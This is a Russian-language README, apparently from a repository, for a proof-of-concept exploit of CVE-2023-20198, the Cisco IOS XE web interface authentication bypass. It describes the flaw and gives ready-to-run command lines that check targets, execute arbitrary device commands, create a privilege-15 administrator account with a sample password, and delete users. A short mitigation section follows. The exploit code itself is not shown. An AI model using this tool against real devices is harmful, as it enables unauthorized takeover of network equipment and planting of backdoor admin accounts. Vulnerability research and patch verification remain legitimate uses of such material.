
Эксплойт для доказательства концепции уязвимости CVE-2023-20198, позволяющей обойти аутентификацию, затрагивающей веб-интерфейс Cisco IOS XE
Этот репозиторий содержит эксплойт концепции (PoC) для CVE-2023-20198 — уязвимости обхода аутентификации, затрагивающей веб-интерфейс Cisco IOS XE.
Уязвимость позволяет неаутентифицированным злоумышленникам выполнять произвольные команды на уязвимых устройствах Cisco через специально сформированные SOAP-запросы, что может привести к полной компрометации устройства, включая удаленное выполнение команд и создание/удаление административных пользователей.
CVE: CVE-2023-20198
Затронутый продукт: Cisco IOS XE (веб-интерфейс / интерфейс WSMA)
Воздействие:
Вектор атаки: Сеть (HTTP/HTTPS)
Требуемые привилегии: Нет (неаутентифицированный)
Данная уязвимость вызвана некорректной обработкой аутентификации в конечной точке Web Services Management Agent (WSMA), что позволяет злоумышленникам обходить аутентификацию с помощью специально сформированных HTTP-запросов.
requestscoloramaУстановка зависимостей:
pip install -r requirements.txt
usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]
Authentication Bypass Exploit for Cisco IOS XE Devices (CVE-2023-20198)
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target Cisco IOS XE Device
-c, --check Check if the Target is vulnerable to CVE-2023-20198
-C CMD, --cmd CMD Cisco IOS XE Command to Execute
-a, --add Add New Username and Password
-d, --delete Delete existing User
-u USERNAME, --username USERNAME
Username for Account Creation
-p PASSWORD, --password PASSWORD
Password for Account Creation (Random Password Generated if not Provided)

Проверьте, уязвимо ли целевое устройство:
python3 exploit.py -t https://<TARGET-IP> -c

Если устройство уязвимо, инструмент автоматически обнаружит эксплуатируемую конечную точку WSMA и отобразит сведения об устройстве.
Выполнение команд на уязвимом устройстве:
python3 exploit.py -t https://<TARGET-IP> -C "<COMMAND>"
Пример:
python3 exploit.py -t https://<TARGET-IP> -C "show running | include username"

Создание нового административного пользователя с привилегией 15:
python3 exploit.py -t https://<TARGET-IP> -a -u cisco -p kaptaan

Если пароль не указан, скрипт автоматически генерирует случайный надежный пароль.
С помощью только что созданной учетной записи можно получить доступ к веб-интерфейсу устройства.

Удаление существующего пользователя:
python3 exploit.py -t https://<TARGET-IP> -d -u cisco

Обновите Cisco IOS XE до последней исправленной версии
Отключите веб-интерфейс, если он не требуется:
no ip http server
no ip http secure-server
Ограничьте доступ к управлению с помощью ACL
| Option | Description |
|---|
-t, --target | Целевое устройство Cisco IOS XE (обязательно) |
-c, --check | Проверить, уязвимо ли целевое устройство |
-C, --cmd | Выполнить команду Cisco IOS XE |
-a, --add | Добавить нового административного пользователя |
-d, --delete | Удалить существующего пользователя |
-u, --username | Имя пользователя для создания/удаления |
-p, --password | Пароль для новой учетной записи (случайный, если не указан) |